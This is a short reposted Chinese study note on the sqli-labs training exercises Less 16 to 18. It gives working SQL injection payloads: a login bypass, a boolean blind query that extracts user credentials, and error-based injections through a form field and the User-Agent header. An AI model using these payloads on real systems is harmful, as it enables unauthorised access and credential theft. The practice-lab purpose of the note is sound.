【20171031早】sqli-libs Less 16,17 和live http headers 使用问题

Less 16:

　　和Less 15一样

　　payload:

　　　　登陆： a : b") or 1=1#

　　　　注入：a : b") or (ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97# (boolean 注入)

Less 17:

　　题目：

　　分析：闭合方式是 '，回显是通过错误信息，因此

　　payload：

　　uname=admin&passwd=1' and extractvalue(1, concat(0x7e, (select @@version), 0x7e))#&submit=Submit

　　结果：

Less 18：

　　分析：通过看源码可以知道，这题要通过user-agent注入，工具live http headers，可以实现修改并replay。

　　TRY：网上的payload：将user-agent修改为：'and extractvalue(1, concat(0x7e,(select @@version),0x7e)) and '1'='1

　　问题：firefox 中的live http headers存在bug，无法实现replay，修改方案是：

　　　　方案一：

　　　　　　使用最新修改过bug的clone版本，但是老黑测试过，也不能修改

　　　　方案二：修改源文件，可以也同样不能修改HTTP Headers，下午继续找找解决方案！

　　　　　　原文地址

转载于:https://www.cnblogs.com/heijuelou/p/7761192.html

【20171031早】sqli-libs Less 16,17 和live http headers 使用问题相关推荐

linux web高级编程,寒假学习第16.17天（linux 高级编程）
寒假学习第16.17天 (linux 高级编程) 笔记总结一.进程的基本控制(进程的同步) 1.进程的常见控制函数 pause sleep/usleep atexit on_exit i ...
2017-07-18日看登录日志，显示十条：最早的是：2014-04-07 17:09，应该就是注册日期吧
2017-07-18日看登录日志,显示十条:最早的是:2014-04-07 17:09,应该就是注册日期吧
Fedora 15 16 17 18 20无线网卡驱动安装
Fedora 15 16 17 18 20无线网卡驱动安装一直不想在虚拟机中安装使用系统,然后就打算给自己的电脑安装一个双系统,因对Fedora有比较好的印象,也就还是选用了它作为我的第二系统.废话 ...
面试题 16.17. 连续数列
面试题 16.17. 连续数列https://leetcode.cn/problems/contiguous-sequence-lcci/ 难度简单114 给定一个整数数组,找出总和最大的连续数列,并 ...
2016年8月16日星期二 --出埃及记 Exodus 16:17
2016年8月16日星期二 --出埃及记 Exodus 16:17 The Israelites did as they were told; some gathered much, some li ...
【亲测】Parallels Desktop 16 / 17在MacOs Big Sur / Monterey下网络初始化失败:您的虚拟机将继续正常运作解决办法
场景: Mac升级Big Sur / Monterey后,然后再升级Parallels Desktop到16/17版本后,Parallels Desktop开启windows或者其他虚拟机就出现网络 ...
阅读第13,14,15,16,17章
13章:效能测试不一样的机器运行软件效率是不一样的,怎么能做到效能测试的权威性 14章:软件质量保障这是一个很重要的问题,国外公司很注重维护,中国公司也注重更新维护吗? 15章:稳定和发布阶段软 ...
oracle p6 破解版下载,Primavera P6项目管理软件 16~17 图文详细安装教程(附下载)
Primavera P6 Professional项目管理软件结合了Oracle和Microsoft SQL Server关系数据库,是一款非常好用且功能强大的综合的项目管理软件(PPM) 解决方案, ...
C4D R14/15/16/17/18/19/20软件安装包及教程
软件介绍: 中文名4D电影,外文名CINEMA 4D,研发公司为德国Maxon Computer,特点为极高的运算速度和强大的渲染插件,使用在电影<毁灭战士><阿凡达>中,获得 ...

【20171031早】sqli-libs Less 16,17 和live http headers 使用问题

【20171031早】sqli-libs Less 16,17 和live http headers 使用问题相关推荐

最新文章

热门文章